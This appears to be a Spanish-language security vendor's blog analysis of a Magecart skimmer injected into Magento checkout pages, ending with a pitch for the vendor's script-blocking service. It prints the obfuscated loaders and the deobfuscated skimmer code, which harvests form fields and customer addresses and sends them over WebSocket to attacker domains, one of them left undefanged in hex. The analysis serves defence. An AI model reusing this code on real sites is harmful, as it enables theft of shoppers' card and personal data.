Resumen: análisis de skimmer ofuscado
- Aleatorio a propósito: El script inyectado parece un array aleatorio de 30 bytes, y ese es precisamente el objetivo, porque las comprobaciones de hash y la revisión humana pasan por alto código ensamblado en tiempo de ejecución mediante aritmética XOR y reconstrucción con String.fromCharCode.
- Desofuscado automáticamente: El payload abre un WebSocket a wss://gstatlc[.]org/jivo y solo se activa en la ruta onestepcheckout de Magento, y el motor de cside lo desofusca y desempaqueta automáticamente en lugar de esperar a que un investigador publique un análisis.
- Revisa tu herramienta: Si tu proceso de revisión depende de leer ficheros fuente a ojo, los skimmers ofuscados permanecen invisibles durante meses, así que decide si tu herramienta realmente desofusca los payloads por sí misma o simplemente los reenvía sin más.
¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.
El 14 de octubre, publicamos un artículo sobre cómo se estaba produciendo otro ataque Magecart en Magento. En ese momento solo identificamos un script como responsable.
Hoy pudimos encontrar y analizar el ataque con mayor detalle.
El ataque decodificado
Este fue el código inyectado:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
Al decodificar este script ofuscado, descubrimos que establece una conexión WebSocket con la siguiente URL: wss://gstatlc[.]org/jivo?source=.
Entonces sospechamos que el ataque probablemente tenía como objetivo el web skimming, es decir, el robo de datos de clientes como información de tarjetas de crédito.
Luego encontramos el siguiente script:
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t.onmessage = function(t) {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
Esto conduce a código ofuscado, que nuestra plataforma cside desofusca automáticamente. Encontramos diversas funciones diseñadas para capturar datos.
// Function to decode the selectors
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Function to check if specific elements are present on the page
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Function to generate a unique identifier
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Function to encode data as hex
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Function to collect form data
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Attempt to collect customer address data if available
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignore errors */ }
}
return hexEncode(JSON.stringify(data));
};
// Interval to repeatedly check and send data
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
Ahí apareció otro dominio malicioso: wss://adsprove[.]online/ws.
Todas estas funciones demuestran ahora que el script efectivamente tiene como objetivo diversos campos de entrada de visitantes desprevenidos. También demuestra que monitorizar y bloquear estos intentos desde el lado del cliente es vital para detectar y detener estos ataques.
Cómo proteger tu sitio
cside se fundó para detener este tipo de ataques. Cualquier script de terceros presente en tu sitio que esté comprometido puede ser detectado y bloqueado por nosotros antes de que se ejecute en el navegador de tus visitantes. Esto os protege a ellos y a ti de actores maliciosos.
Al usar nuestro plan gratuito, estás a salvo de este y otros ataques similares.









